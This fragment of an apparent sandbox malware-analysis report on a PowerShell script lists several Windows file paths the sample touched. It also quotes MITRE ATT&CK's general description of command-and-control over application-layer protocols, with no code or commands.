C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MYRORPH9WV5CU5Y8GZFY.temp

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

Windows Analysis Report
gCK3ozTL7Q.ps1

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre